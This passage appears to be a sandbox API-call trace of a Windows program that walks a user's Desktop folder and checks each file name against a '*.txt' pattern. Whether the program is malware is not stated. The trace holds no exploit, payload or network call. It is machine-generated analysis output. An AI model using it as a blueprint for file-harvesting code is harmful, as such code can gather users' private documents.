lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.430] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.430] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="srTdgc8WYpda3WAi2Rl.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png") returned="\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png" [0099.430] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21104e8 [0099.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0099.430] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x47) returned 0x34300d0 [0099.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", cchWideChar=71, lpMultiByteStr=0x34300d0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\srTdgc8WYpda3WAi2Rl.png", lpUsedDefaultChar=0x0) returned 71 [0099.430] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0099.430] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.430] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.430] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.430] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.430] PathMatchSpecW (pszFile="srTdgc8WYpda3WAi2Rl.png", pszSpec="*.txt") returned 0 [0099.430] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.430] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf87f20, ftCreationTime.dwHighDateTime=0x1d7af4d, ftLastAccessTime.dwLowDateTime=0x803dd890, ftLastAccessTime.dwHighDateTime=0x1d7b009, ftLastWriteTime.dwLowDateTime=0x803dd890, ftLastWriteTime.dwHighDateTime=0x1d7b009, nFileSizeHigh=0x0, nFileSizeLow=0x1420d, dwReserved0=0x0, dwReserved1=0x0, cFileName="w zekI-R.wav", cAlternateFileName="WZEKI-~1.WAV")) returned 1 [0099.431] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.431] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.431] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.431] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.431] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.431] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="w zekI-R.wav" | out: lpString1="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav") returned="\\FOg-h_AvoQIw_HJ\\w zekI-R.wav" [0099.431] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.431] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x34300d0 [0099.431] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", cchWideChar=60, lpMultiByteStr=0x34300d0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\w zekI-R.wav", lpUsedDefaultChar=0x0) returned 60 [0099.431] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e88 [0099.431] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.431] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.431] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130a8 [0099.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x21130a8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.431] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130a8 | out: hHeap=0x2110000) returned 1 [0099.431] PathMatchSpecW (pszFile="w zekI-R.wav", pszSpec="*.txt") returned 0 [0099.431] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e88 | out: hHeap=0x2110000) returned 1 [0099.431] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 1 [0099.431] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ" [0099.431] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\" [0099.432] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.432] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\FOg-h_AvoQIw_HJ" | out: lpString1="\\FOg-h_AvoQIw_HJ") returned="\\FOg-h_AvoQIw_HJ" [0099.432] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ", lpString2="\\" | out: lpString1="\\FOg-h_AvoQIw_HJ\\") returned="\\FOg-h_AvoQIw_HJ\\" [0099.432] lstrcatW (in: lpString1="\\FOg-h_AvoQIw_HJ\\", lpString2="xFdQgUMwy.png" | out: lpString1="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png") returned="\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png" [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104e8 [0099.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112cd8 [0099.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", cchWideChar=61, lpMultiByteStr=0x2112cd8, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ\\xFdQgUMwy.png", lpUsedDefaultChar=0x0) returned 61 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0099.432] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112cd8 | out: hHeap=0x2110000) returned 1 [0099.432] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113060 [0099.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x2113060, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.432] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.432] PathMatchSpecW (pszFile="xFdQgUMwy.png", pszSpec="*.txt") returned 0 [0099.432] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0099.432] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda86dce0, ftCreationTime.dwHighDateTime=0x1d79ffe, ftLastAccessTime.dwLowDateTime=0xaec72980, ftLastAccessTime.dwHighDateTime=0x1d7a098, ftLastWriteTime.dwLowDateTime=0xaec72980, ftLastWriteTime.dwHighDateTime=0x1d7a098, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFdQgUMwy.png", cAlternateFileName="XFDQGU~1.PNG")) returned 0 [0099.432] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x2110550 [0099.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", cchWideChar=47, lpMultiByteStr=0x2110550, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FOg-h_AvoQIw_HJ", lpUsedDefaultChar=0x0) returned 47 [0099.432] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.433] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.433] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.433] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x21130d8 [0099.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x21130d8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.433] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21130d8 | out: hHeap=0x2110000) returned 1 [0099.433] PathMatchSpecW (pszFile="FOg-h_AvoQIw_HJ", pszSpec="*.txt") returned 0 [0099.433] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.433] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcd4b250, ftCreationTime.dwHighDateTime=0x1d7a0ed, ftLastAccessTime.dwLowDateTime=0x24550670, ftLastAccessTime.dwHighDateTime=0x1d7a8e8, ftLastWriteTime.dwLowDateTime=0x24550670, ftLastWriteTime.dwHighDateTime=0x1d7a8e8, nFileSizeHigh=0x0, nFileSizeLow=0x8888, dwReserved0=0x0, dwReserved1=0x0, cFileName="g2ZwK9.bmp", cAlternateFileName="")) returned 1 [0099.433] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.433] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.433] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="g2ZwK9.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp" [0099.433] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.433] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.433] lstrcatW (in: lpString1="\\", lpString2="g2ZwK9.bmp" | out: lpString1="\\g2ZwK9.bmp") returned="\\g2ZwK9.bmp" [0099.433] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.453] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x2110550 [0099.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x2110550, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", lpUsedDefaultChar=0x0) returned 42 [0099.453] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.453] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.453] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.453] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fa0 [0099.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fa0, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.453] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0099.453] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*.txt") returned 0 [0099.453] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.453] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a77620, ftCreationTime.dwHighDateTime=0x1d7afc6, ftLastAccessTime.dwLowDateTime=0x4cf82e60, ftLastAccessTime.dwHighDateTime=0x1d7afdf, ftLastWriteTime.dwLowDateTime=0x4cf82e60, ftLastWriteTime.dwHighDateTime=0x1d7afdf, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgucYmyJbQJmLK.wav", cAlternateFileName="HGUCYM~1.WAV")) returned 1 [0099.453] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.453] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.454] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav" [0099.454] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.454] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.454] lstrcatW (in: lpString1="\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="\\hgucYmyJbQJmLK.wav") returned="\\hgucYmyJbQJmLK.wav" [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x2110560 [0099.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x2110560, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", lpUsedDefaultChar=0x0) returned 50 [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21127c8 [0099.454] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.454] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113000 [0099.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113000, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.454] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.454] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*.txt") returned 0 [0099.454] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0099.454] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0ea3c0, ftCreationTime.dwHighDateTime=0x1d7aada, ftLastAccessTime.dwLowDateTime=0x63881990, ftLastAccessTime.dwHighDateTime=0x1d7ada2, ftLastWriteTime.dwLowDateTime=0x63881990, ftLastWriteTime.dwHighDateTime=0x1d7ada2, nFileSizeHigh=0x0, nFileSizeLow=0x111a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ht3A.swf", cAlternateFileName="")) returned 1 [0099.454] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.454] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.454] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ht3A.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf" [0099.454] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.454] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.454] lstrcatW (in: lpString1="\\", lpString2="ht3A.swf" | out: lpString1="\\ht3A.swf") returned="\\ht3A.swf" [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x34300d0 [0099.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.454] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ad50 [0099.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x211ad50, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", lpUsedDefaultChar=0x0) returned 40 [0099.455] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21104e8 [0099.455] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ad50 | out: hHeap=0x2110000) returned 1 [0099.470] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.470] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2113150 [0099.470] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2113150, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.470] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113150 | out: hHeap=0x2110000) returned 1 [0099.470] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*.txt") returned 0 [0099.470] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.470] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe1749e0, ftCreationTime.dwHighDateTime=0x1d7a6f3, ftLastAccessTime.dwLowDateTime=0x1cf42150, ftLastAccessTime.dwHighDateTime=0x1d7a707, ftLastWriteTime.dwLowDateTime=0x1cf42150, ftLastWriteTime.dwHighDateTime=0x1d7a707, nFileSizeHigh=0x0, nFileSizeLow=0xb2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2i7j8UItWZYJ.csv", cAlternateFileName="J2I7J8~1.CSV")) returned 1 [0099.470] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.470] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.470] lstrcatW (in: 